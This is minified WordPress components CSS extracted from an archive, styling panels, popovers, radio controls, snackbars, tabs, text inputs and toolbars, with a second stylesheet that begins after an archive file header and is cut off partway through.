.components-notice__action.components-button{display:block;margin-right:0;margin-top:8px}.components-panel{background:#fff;border:1px solid #e0e0e0}.components-panel>.components-panel__body:first-child,.components-panel>.components-panel__header:first-child{margin-top:-1px}.components-panel>.components-panel__body:last-child,.components-panel>.components-panel__header:last-child{border-bottom-width:0}.components-panel+.components-panel{margin-top:-1px}.components-panel__body{border-bottom:1px solid #e0e0e0;border-top:1px solid #e0e0e0}.components-panel__body h3{margin:0 0 .5em}.components-panel__body.is-opened{padding:16px}.components-panel__header{align-items:center;border-bottom:1px solid #ddd;box-sizing:initial;display:flex;flex-shrink:0;height:47px;justify-content:space-between;padding:0 16px}.components-panel__header h2{color:inherit;font-size:inherit;margin:0}.components-panel__body+.components-panel__body,.components-panel__body+.components-panel__header,.components-panel__header+.components-panel__body,.components-panel__header+.components-panel__header{margin-top:-1px}.components-panel__body>.components-panel__body-title{display:block;font-size:inherit;margin-bottom:0;margin-top:0;padding:0}@media not (prefers-reduced-motion){.components-panel__body>.components-panel__body-title{transition:background .1s ease-in-out}}.components-panel__body.is-opened>.components-panel__body-title{margin:-16px -16px 5px}.components-panel__body>.components-panel__body-title:hover{background:#f0f0f0;border:none}.components-panel__body-toggle.components-button{border:none;box-shadow:none;color:#1e1e1e;font-weight:500;height:auto;outline:none;padding:16px 16px 16px 48px;position:relative;text-align:right;width:100%}@media not (prefers-reduced-motion){.components-panel__body-toggle.components-button{transition:background .1s ease-in-out}}.components-panel__body-toggle.components-button:focus{border-radius:0;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-panel__body-toggle.components-button .components-panel__arrow{color:#1e1e1e;left:16px;position:absolute;top:50%;transform:translateY(-50%);fill:currentColor}@media not (prefers-reduced-motion){.components-panel__body-toggle.components-button .components-panel__arrow{transition:color .1s ease-in-out}}body.rtl .components-panel__body-toggle.components-button .dashicons-arrow-right{-ms-filter:fliph;filter:FlipH;margin-top:-10px;transform:scaleX(-1)}.components-panel__icon{color:#757575;margin:-2px 6px -2px 0}.components-panel__body-toggle-icon{margin-left:-5px}.components-panel__color-title{float:right;height:19px}.components-panel__row{align-items:center;display:flex;justify-content:space-between;margin-top:8px;min-height:36px}.components-panel__row select{min-width:0}.components-panel__row label{flex-shrink:0;margin-left:12px;max-width:75%}.components-panel__row:empty,.components-panel__row:first-of-type{margin-top:0}.components-panel .circle-picker{padding-bottom:20px}.components-placeholder.components-placeholder{align-items:flex-start;box-sizing:border-box;color:#1e1e1e;display:flex;flex-direction:column;font-size:13px;gap:16px;margin:0;padding:24px;position:relative;text-align:right;width:100%;-moz-font-smoothing:subpixel-antialiased;-webkit-font-smoothing:subpixel-antialiased;background-color:#fff;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;outline:1px solid #0000}.components-placeholder__error,.components-placeholder__fieldset,.components-placeholder__instructions,.components-placeholder__label{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:400;letter-spacing:normal;line-height:normal;text-transform:none}.components-placeholder__label{align-items:center;display:flex;font-weight:600}.components-placeholder__label .block-editor-block-icon,.components-placeholder__label .dashicon,.components-placeholder__label>svg{margin-left:4px;fill:currentColor}@media (forced-colors:active){.components-placeholder__label .block-editor-block-icon,.components-placeholder__label .dashicon,.components-placeholder__label>svg{fill:CanvasText}}.components-placeholder__label:empty{display:none}.components-placeholder__fieldset,.components-placeholder__fieldset form{display:flex;flex-direction:row;flex-wrap:wrap;gap:16px;justify-content:flex-start;width:100%}.components-placeholder__fieldset form p,.components-placeholder__fieldset p{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.components-placeholder__fieldset.is-column-layout,.components-placeholder__fieldset.is-column-layout form{flex-direction:column}.components-placeholder__input[type=url]{border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;flex:1 1 auto;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;line-height:normal;padding:6px 8px}@media not (prefers-reduced-motion){.components-placeholder__input[type=url]{transition:box-shadow .1s linear}}@media (min-width:600px){.components-placeholder__input[type=url]{font-size:13px;line-height:normal}}.components-placeholder__input[type=url]:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.components-placeholder__input[type=url]::-webkit-input-placeholder{color:#1e1e1e9e}.components-placeholder__input[type=url]::-moz-placeholder{color:#1e1e1e9e}.components-placeholder__input[type=url]:-ms-input-placeholder{color:#1e1e1e9e}.components-placeholder__error{gap:8px;width:100%}.components-placeholder__fieldset .components-button:not(.is-link)~.components-button.is-link{margin-left:10px;margin-right:10px}.components-placeholder__fieldset .components-button:not(.is-link)~.components-button.is-link:last-child{margin-left:0}.components-placeholder.is-medium .components-placeholder__instructions,.components-placeholder.is-small .components-placeholder__instructions{display:none}.components-placeholder.is-medium .components-placeholder__fieldset,.components-placeholder.is-medium .components-placeholder__fieldset form,.components-placeholder.is-small .components-placeholder__fieldset,.components-placeholder.is-small .components-placeholder__fieldset form{flex-direction:column}.components-placeholder.is-medium .components-button,.components-placeholder.is-medium .components-placeholder__fieldset>*,.components-placeholder.is-small .components-button,.components-placeholder.is-small .components-placeholder__fieldset>*{justify-content:center;width:100%}.components-placeholder.is-small{padding:16px}.components-placeholder.has-illustration{-webkit-backdrop-filter:blur(100px);backdrop-filter:blur(100px);backface-visibility:hidden;background-color:initial;border-radius:0;box-shadow:none;color:inherit;display:flex;overflow:hidden}.is-dark-theme .components-placeholder.has-illustration{background-color:#0000001a}.components-placeholder.has-illustration .components-placeholder__fieldset{margin-left:0;margin-right:0}.components-placeholder.has-illustration .components-button,.components-placeholder.has-illustration .components-placeholder__instructions,.components-placeholder.has-illustration .components-placeholder__label{opacity:0;pointer-events:none}@media not (prefers-reduced-motion){.components-placeholder.has-illustration .components-button,.components-placeholder.has-illustration .components-placeholder__instructions,.components-placeholder.has-illustration .components-placeholder__label{transition:opacity .1s linear}}.is-selected>.components-placeholder.has-illustration .components-button,.is-selected>.components-placeholder.has-illustration .components-placeholder__instructions,.is-selected>.components-placeholder.has-illustration .components-placeholder__label{opacity:1;pointer-events:auto}.components-placeholder.has-illustration:before{background:currentColor;bottom:0;content:"";left:0;opacity:.1;pointer-events:none;position:absolute;right:0;top:0}.is-selected .components-placeholder.has-illustration{overflow:auto}.components-placeholder__preview{display:flex;justify-content:center}.components-placeholder__illustration{box-sizing:initial;height:100%;position:absolute;right:50%;top:50%;transform:translate(50%,-50%);width:100%;stroke:currentColor;opacity:.25}.components-popover{box-sizing:border-box;will-change:transform;z-index:1000000}.components-popover *,.components-popover :after,.components-popover :before{box-sizing:inherit}.components-popover.is-expanded{bottom:0;left:0;position:fixed;right:0;top:0;z-index:1000000!important}.components-popover__content{background:#fff;border-radius:4px;box-shadow:0 0 0 1px #ccc,0 2px 3px #0000000d,0 4px 5px #0000000a,0 12px 12px #00000008,0 16px 16px #00000005;box-sizing:border-box;width:min-content}.is-alternate .components-popover__content{border-radius:2px;box-shadow:0 0 0 1px #1e1e1e}.is-unstyled .components-popover__content{background:none;border-radius:0;box-shadow:none}.components-popover.is-expanded .components-popover__content{box-shadow:0 -1px 0 0 #ccc;height:calc(100% - 48px);overflow-y:visible;position:static;width:auto}.components-popover.is-expanded.is-alternate .components-popover__content{box-shadow:0 -1px 0 #1e1e1e}.components-popover__header{align-items:center;background:#fff;display:flex;height:48px;justify-content:space-between;padding:0 16px 0 8px}.components-popover__header-title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}.components-popover__close.components-button{z-index:5}.components-popover__arrow{display:flex;height:14px;pointer-events:none;position:absolute;width:14px}.components-popover__arrow:before{background-color:#fff;content:"";height:2px;left:1px;position:absolute;right:1px;top:-1px}.components-popover__arrow.is-top{bottom:-14px!important;transform:rotate(0)}.components-popover__arrow.is-right{left:-14px!important;transform:rotate(90deg)}.components-popover__arrow.is-bottom{top:-14px!important;transform:rotate(180deg)}.components-popover__arrow.is-left{right:-14px!important;transform:rotate(-90deg)}.components-popover__triangle{display:block;flex:1}.components-popover__triangle-bg{fill:#fff}.components-popover__triangle-border{fill:#0000;stroke-width:1px;stroke:#ccc}.is-alternate .components-popover__triangle-border{stroke:#1e1e1e}.components-radio-control{border:0;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;margin:0;padding:0}.components-radio-control__group-wrapper.has-help{margin-block-end:12px}.components-radio-control__option{align-items:center;column-gap:8px;display:grid;grid-template-columns:auto 1fr;grid-template-rows:auto minmax(0,max-content)}.components-radio-control__input[type=radio]{appearance:none;border:1px solid #1e1e1e;border-radius:2px;border-radius:50%;box-shadow:0 0 0 #0000;cursor:pointer;display:inline-flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;grid-column:1;grid-row:1;height:24px;line-height:normal;margin:0;max-width:24px;min-width:24px;padding:0;position:relative;transition:none;width:24px}@media not (prefers-reduced-motion){.components-radio-control__input[type=radio]{transition:box-shadow .1s linear}}@media (min-width:600px){.components-radio-control__input[type=radio]{font-size:13px;line-height:normal}}.components-radio-control__input[type=radio]:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color)}.components-radio-control__input[type=radio]::-webkit-input-placeholder{color:#1e1e1e9e}.components-radio-control__input[type=radio]::-moz-placeholder{color:#1e1e1e9e}.components-radio-control__input[type=radio]:-ms-input-placeholder{color:#1e1e1e9e}@media (min-width:600px){.components-radio-control__input[type=radio]{height:16px;max-width:16px;min-width:16px;width:16px}}.components-radio-control__input[type=radio]:checked:before{background-color:#fff;border:4px solid #fff;box-sizing:inherit;height:12px;margin:0;position:absolute;right:50%;top:50%;transform:translate(50%,-50%);width:12px}@media (min-width:600px){.components-radio-control__input[type=radio]:checked:before{height:8px;width:8px}}.components-radio-control__input[type=radio]:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color)}.components-radio-control__input[type=radio]:checked{background:var(--wp-admin-theme-color);border:none}.components-radio-control__input[type=radio]:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff,0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);outline:2px solid #0000;outline-offset:2px}.components-radio-control__input[type=radio]:checked{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));border-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-radio-control__input[type=radio]:checked:before{border-radius:50%;content:""}.components-radio-control__label{cursor:pointer;grid-column:2;grid-row:1;line-height:24px}@media (min-width:600px){.components-radio-control__label{line-height:16px}}.components-radio-control__option-description{grid-column:2;grid-row:2;padding-block-start:4px}.components-radio-control__option-description.components-radio-control__option-description{margin-top:0}.components-resizable-box__handle{display:none;height:23px;width:23px;z-index:2}.components-resizable-box__container.has-show-handle .components-resizable-box__handle{display:block}.components-resizable-box__handle>div{height:100%;outline:none;position:relative;width:100%;z-index:2}.components-resizable-box__container>img{width:inherit}.components-resizable-box__handle:after{background:#fff;border-radius:50%;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9)),0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;content:"";cursor:inherit;display:block;height:15px;left:calc(50% - 8px);outline:2px solid #0000;position:absolute;top:calc(50% - 8px);width:15px}.components-resizable-box__side-handle:before{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));border-radius:9999px;content:"";cursor:inherit;display:block;height:3px;left:calc(50% - 1px);opacity:0;position:absolute;top:calc(50% - 1px);width:3px}@media not (prefers-reduced-motion){.components-resizable-box__side-handle:before{transition:transform .1s ease-in;will-change:transform}}.components-resizable-box__corner-handle,.components-resizable-box__side-handle{z-index:2}.components-resizable-box__side-handle.components-resizable-box__handle-bottom,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:before,.components-resizable-box__side-handle.components-resizable-box__handle-top,.components-resizable-box__side-handle.components-resizable-box__handle-top:before{border-left:0;border-right:0;right:0;width:100%}.components-resizable-box__side-handle.components-resizable-box__handle-left,.components-resizable-box__side-handle.components-resizable-box__handle-left:before,.components-resizable-box__side-handle.components-resizable-box__handle-right,.components-resizable-box__side-handle.components-resizable-box__handle-right:before{border-bottom:0;border-top:0;height:100%;top:0}@media not (prefers-reduced-motion){.components-resizable-box__side-handle.components-resizable-box__handle-bottom:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:hover:before{animation:components-resizable-box__top-bottom-animation .1s ease-out 0s;animation-fill-mode:forwards}.components-resizable-box__side-handle.components-resizable-box__handle-left:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:hover:before{animation:components-resizable-box__left-right-animation .1s ease-out 0s;animation-fill-mode:forwards}}@media not all and (min-resolution:0.001dpcm){@supports (-webkit-appearance:none){.components-resizable-box__side-handle.components-resizable-box__handle-bottom:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:hover:before{animation:none}}}@keyframes components-resizable-box__top-bottom-animation{0%{opacity:0;transform:scaleX(0)}to{opacity:1;transform:scaleX(1)}}@keyframes components-resizable-box__left-right-animation{0%{opacity:0;transform:scaleY(0)}to{opacity:1;transform:scaleY(1)}}.components-resizable-box__handle-right{right:-11.5px}.components-resizable-box__handle-left{left:-11.5px}.components-resizable-box__handle-top{top:-11.5px}.components-resizable-box__handle-bottom{bottom:-11.5px}.components-responsive-wrapper{align-items:center;display:flex;justify-content:center;max-width:100%;position:relative}.components-responsive-wrapper__content{display:block;max-width:100%;width:100%}.components-sandbox{overflow:hidden}iframe.components-sandbox{width:100%}body.lockscroll,html.lockscroll{overflow:hidden}.components-select-control__input{outline:0;-webkit-tap-highlight-color:rgba(0,0,0,0)!important}@media (max-width:782px){.components-base-control .components-base-control__field .components-select-control__input{font-size:16px}}.components-snackbar{-webkit-backdrop-filter:blur(16px) saturate(180%);backdrop-filter:blur(16px) saturate(180%);background:#000000d9;border-radius:4px;box-shadow:0 1px 2px #0000000d,0 2px 3px #0000000a,0 6px 6px #00000008,0 8px 8px #00000005;box-sizing:border-box;color:#fff;cursor:pointer;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;max-width:600px;padding:12px 20px;pointer-events:auto;width:100%}@media (min-width:600px){.components-snackbar{width:fit-content}}.components-snackbar:focus{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-snackbar.components-snackbar-explicit-dismiss{cursor:default}.components-snackbar .components-snackbar__content-with-icon{padding-right:24px;position:relative}.components-snackbar .components-snackbar__icon{position:absolute;right:-8px;top:-2.9px}.components-snackbar .components-snackbar__dismiss-button{cursor:pointer;margin-right:24px}.components-snackbar__action.components-button{color:#fff;flex-shrink:0;margin-right:32px}.components-snackbar__action.components-button:focus{box-shadow:none;outline:1px dotted #fff}.components-snackbar__action.components-button:hover{color:currentColor;text-decoration:none}.components-snackbar__content{align-items:baseline;display:flex;justify-content:space-between;line-height:1.4}.components-snackbar-list{box-sizing:border-box;pointer-events:none;position:absolute;width:100%;z-index:100000}.components-snackbar-list__notice-container{padding-top:8px;position:relative}.components-tab-panel__tabs{align-items:stretch;display:flex;flex-direction:row}.components-tab-panel__tabs[aria-orientation=vertical]{flex-direction:column}.components-tab-panel__tabs-item{background:#0000;border:none;border-radius:0;box-shadow:none;cursor:pointer;font-weight:500;height:48px!important;margin-right:0;padding:3px 16px;position:relative}.components-tab-panel__tabs-item:focus:not(:disabled){box-shadow:none;outline:none;position:relative}.components-tab-panel__tabs-item:after{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));border-radius:0;bottom:0;content:"";height:calc(var(--wp-admin-border-width-focus)*0);left:0;pointer-events:none;position:absolute;right:0}@media not (prefers-reduced-motion){.components-tab-panel__tabs-item:after{transition:all .1s linear}}.components-tab-panel__tabs-item.is-active:after{height:calc(var(--wp-admin-border-width-focus)*1);outline:2px solid #0000;outline-offset:-1px}.components-tab-panel__tabs-item:before{border-radius:2px;bottom:12px;box-shadow:0 0 0 0 #0000;content:"";left:12px;pointer-events:none;position:absolute;right:12px;top:12px}@media not (prefers-reduced-motion){.components-tab-panel__tabs-item:before{transition:all .1s linear}}.components-tab-panel__tabs-item:focus-visible:before{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:2px solid #0000}.components-tab-panel__tab-content:focus{box-shadow:none;outline:none}.components-tab-panel__tab-content:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:2px solid #0000;outline-offset:0}.components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;height:32px;line-height:normal;margin:0;padding:6px 8px;width:100%}@media not (prefers-reduced-motion){.components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{transition:box-shadow .1s linear}}@media (min-width:600px){.components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{font-size:13px;line-height:normal}}.components-text-control__input:focus,.components-text-control__input[type=color]:focus,.components-text-control__input[type=date]:focus,.components-text-control__input[type=datetime-local]:focus,.components-text-control__input[type=datetime]:focus,.components-text-control__input[type=email]:focus,.components-text-control__input[type=month]:focus,.components-text-control__input[type=number]:focus,.components-text-control__input[type=password]:focus,.components-text-control__input[type=tel]:focus,.components-text-control__input[type=text]:focus,.components-text-control__input[type=time]:focus,.components-text-control__input[type=url]:focus,.components-text-control__input[type=week]:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.components-text-control__input::-webkit-input-placeholder,.components-text-control__input[type=color]::-webkit-input-placeholder,.components-text-control__input[type=date]::-webkit-input-placeholder,.components-text-control__input[type=datetime-local]::-webkit-input-placeholder,.components-text-control__input[type=datetime]::-webkit-input-placeholder,.components-text-control__input[type=email]::-webkit-input-placeholder,.components-text-control__input[type=month]::-webkit-input-placeholder,.components-text-control__input[type=number]::-webkit-input-placeholder,.components-text-control__input[type=password]::-webkit-input-placeholder,.components-text-control__input[type=tel]::-webkit-input-placeholder,.components-text-control__input[type=text]::-webkit-input-placeholder,.components-text-control__input[type=time]::-webkit-input-placeholder,.components-text-control__input[type=url]::-webkit-input-placeholder,.components-text-control__input[type=week]::-webkit-input-placeholder{color:#1e1e1e9e}.components-text-control__input::-moz-placeholder,.components-text-control__input[type=color]::-moz-placeholder,.components-text-control__input[type=date]::-moz-placeholder,.components-text-control__input[type=datetime-local]::-moz-placeholder,.components-text-control__input[type=datetime]::-moz-placeholder,.components-text-control__input[type=email]::-moz-placeholder,.components-text-control__input[type=month]::-moz-placeholder,.components-text-control__input[type=number]::-moz-placeholder,.components-text-control__input[type=password]::-moz-placeholder,.components-text-control__input[type=tel]::-moz-placeholder,.components-text-control__input[type=text]::-moz-placeholder,.components-text-control__input[type=time]::-moz-placeholder,.components-text-control__input[type=url]::-moz-placeholder,.components-text-control__input[type=week]::-moz-placeholder{color:#1e1e1e9e}.components-text-control__input:-ms-input-placeholder,.components-text-control__input[type=color]:-ms-input-placeholder,.components-text-control__input[type=date]:-ms-input-placeholder,.components-text-control__input[type=datetime-local]:-ms-input-placeholder,.components-text-control__input[type=datetime]:-ms-input-placeholder,.components-text-control__input[type=email]:-ms-input-placeholder,.components-text-control__input[type=month]:-ms-input-placeholder,.components-text-control__input[type=number]:-ms-input-placeholder,.components-text-control__input[type=password]:-ms-input-placeholder,.components-text-control__input[type=tel]:-ms-input-placeholder,.components-text-control__input[type=text]:-ms-input-placeholder,.components-text-control__input[type=time]:-ms-input-placeholder,.components-text-control__input[type=url]:-ms-input-placeholder,.components-text-control__input[type=week]:-ms-input-placeholder{color:#1e1e1e9e}.components-text-control__input.is-next-40px-default-size,.components-text-control__input[type=color].is-next-40px-default-size,.components-text-control__input[type=date].is-next-40px-default-size,.components-text-control__input[type=datetime-local].is-next-40px-default-size,.components-text-control__input[type=datetime].is-next-40px-default-size,.components-text-control__input[type=email].is-next-40px-default-size,.components-text-control__input[type=month].is-next-40px-default-size,.components-text-control__input[type=number].is-next-40px-default-size,.components-text-control__input[type=password].is-next-40px-default-size,.components-text-control__input[type=tel].is-next-40px-default-size,.components-text-control__input[type=text].is-next-40px-default-size,.components-text-control__input[type=time].is-next-40px-default-size,.components-text-control__input[type=url].is-next-40px-default-size,.components-text-control__input[type=week].is-next-40px-default-size{height:40px;padding-left:12px;padding-right:12px}.components-text-control__input[type=email],.components-text-control__input[type=url]{direction:ltr}.components-tip{color:#757575;display:flex}.components-tip svg{align-self:center;fill:#f0b849;flex-shrink:0;margin-left:16px}.components-tip p{margin:0}.components-toggle-control__label{line-height:16px}.components-toggle-control__label:not(.is-disabled){cursor:pointer}.components-toggle-control__help{display:inline-block;margin-inline-start:40px}.components-accessible-toolbar{border:1px solid #1e1e1e;border-radius:2px;display:inline-flex;flex-shrink:0}.components-accessible-toolbar>.components-toolbar-group:last-child{border-left:none}.components-accessible-toolbar.is-unstyled{border:none}.components-accessible-toolbar.is-unstyled>.components-toolbar-group{border-left:none}.components-accessible-toolbar[aria-orientation=vertical],.components-toolbar[aria-orientation=vertical]{align-items:center;display:flex;flex-direction:column}.components-accessible-toolbar .components-button,.components-toolbar .components-button{height:48px;padding-left:16px;padding-right:16px;position:relative;z-index:1}.components-accessible-toolbar .components-button:focus:not(:disabled),.components-toolbar .components-button:focus:not(:disabled){box-shadow:none;outline:none}.components-accessible-toolbar .components-button:before,.components-toolbar .components-button:before{border-radius:2px;content:"";display:block;height:32px;left:8px;position:absolute;right:8px;z-index:-1}@media not (prefers-reduced-motion){.components-accessible-toolbar .components-button:before,.components-toolbar .components-button:before{animation:components-button__appear-animation .1s ease;animation-fill-mode:forwards}}.components-accessible-toolbar .components-button svg,.components-toolbar .components-button svg{margin-left:auto;margin-right:auto;position:relative}.components-accessible-toolbar .components-button.is-pressed,.components-accessible-toolbar .components-button.is-pressed:hover,.components-toolbar .components-button.is-pressed,.components-toolbar .components-button.is-pressed:hover{background:#0000}.components-accessible-toolbar .components-button.is-pressed:before,.components-toolbar .components-button.is-pressed:before{background:#1e1e1e}.components-accessible-toolbar .components-button:focus:before,.components-toolbar .components-button:focus:before{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.components-accessible-toolbar .components-button.has-icon.has-icon,.components-toolbar .components-button.has-icon.has-icon{min-width:48px;padding-left:8px;padding-right:8px}@keyframes components-button__appear-animation{0%{transform:scaleY(0)}to{transform:scaleY(1)}}.components-toolbar__control.components-button{position:relative}.components-toolbar__control.components-button[data-subscript] svg{padding:5px 0 5px 10px}.components-toolbar__control.components-button[data-subscript]:after{bottom:10px;content:attr(data-subscript);font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;left:8px;line-height:12px;position:absolute}.components-toolbar__control.components-button:not(:disabled).is-pressed[data-subscript]:after{color:#fff}.components-toolbar-group{background-color:#fff;border-left:1px solid #1e1e1e;display:inline-flex;flex-shrink:0;flex-wrap:wrap;line-height:0;min-height:48px;padding-left:6px;padding-right:6px}.components-toolbar-group .components-toolbar-group.components-toolbar-group{border-width:0;margin:0}.components-toolbar-group .components-button.components-button,.components-toolbar-group .components-button.has-icon.has-icon{justify-content:center;min-width:36px;padding-left:6px;padding-right:6px}.components-toolbar-group .components-button.components-button svg,.components-toolbar-group .components-button.has-icon.has-icon svg{min-width:24px}.components-toolbar-group .components-button.components-button:before,.components-toolbar-group .components-button.has-icon.has-icon:before{left:2px;right:2px}.components-toolbar{background-color:#fff;border:1px solid #1e1e1e;display:inline-flex;flex-shrink:0;flex-wrap:wrap;margin:0;min-height:48px}.components-toolbar .components-toolbar.components-toolbar{border-width:0;margin:0}div.components-toolbar>div{display:flex;margin:0}div.components-toolbar>div+div.has-left-divider{margin-right:6px;overflow:visible;position:relative}div.components-toolbar>div+div.has-left-divider:before{background-color:#ddd;box-sizing:initial;content:"";display:inline-block;height:20px;position:absolute;right:-3px;top:8px;width:1px}.components-tooltip{background:#000;border-radius:2px;box-shadow:0 1px 2px #0000000d,0 2px 3px #0000000a,0 6px 6px #00000008,0 8px 8px #00000005;color:#f0f0f0;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:12px;line-height:1.4;padding:4px 8px;text-align:center;z-index:1000002}.components-tooltip__shortcut{margin-right:8px}PK1Xd[a��gVgVdist/components/style.min.cssnu�[���@charset "UTF-8";:root{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}@media not (prefers-reduced-motion){.components-animate__appear{animation:components-animate__appear-animation .1s cubic-bezier(0,0,.2,1) 0s;animation-fill-mode:forwards}}.components-animate__appear.is-from-top,.components-animate__appear.is-from-top.is-from-left{transform-origin:top left}.components-animate__appear.is-from-top.is-from-right{transform-origin:top right}.components-animate__appear.is-from-bottom,.components-animate__appear.is-from-bottom.is-from-left{transform-origin:bottom left}.components-animate__appear.is-from-bottom.is-from-right{transform-origin:bottom right}@keyframes components-animate__appear-animation{0%{transform:translateY(-2em) scaleY(0) scaleX(0)}to{transform:translateY(0) scaleY(1) scaleX(1)}}@media not (prefers-reduced-motion){.components-animate__slide-in{animation:components-animate__slide-in-animation .1s cubic-bezier(0,0,.2,1);animation-fill-mode:forwards}.components-animate__slide-in.is-from-left{transform:translateX(100%)}.components-animate__slide-in.is-from-right{transform:translateX(-100%)}}@keyframes components-animate__slide-in-animation{to{transform:translateX(0)}}@media not (prefers-reduced-motion){.components-animate__loading{animation:components-animate__loading 1.6s ease-in-out infinite}}@keyframes components-animate__loading{0%{opacity:.5}50%{opacity:1}to{opacity:.5}}.components-autocomplete__popover .components-popover__content{min-width:200px;padding:8px}.components-autocomplete__result.components-button{display:flex;height:auto;min-height:36px;text-align:left;width:100%}.components-autocomplete__result.components-button:focus:not(:disabled){box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.components-badge{align-items:center;background-color:color-mix(in srgb,#fff 90%,var(--base-color));border-radius:2px;box-sizing:border-box;color:color-mix(in srgb,#000 50%,var(--base-color));display:inline-flex;font-size:12px;font-weight:400;gap:2px;line-height:20px;max-width:100%;min-height:24px;padding:0 8px}.components-badge *,.components-badge :after,.components-badge :before{box-sizing:inherit}.components-badge:where(.is-default){background-color:#f0f0f0;color:#2f2f2f}.components-badge.has-icon{padding-inline-start:4px}.components-badge.is-info{--base-color:#3858e9}.components-badge.is-warning{--base-color:#f0b849}.components-badge.is-error{--base-color:#cc1818}.components-badge.is-success{--base-color:#4ab866}.components-badge__icon{flex-shrink:0}.components-badge__content{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.components-button-group{display:inline-block}.components-button-group 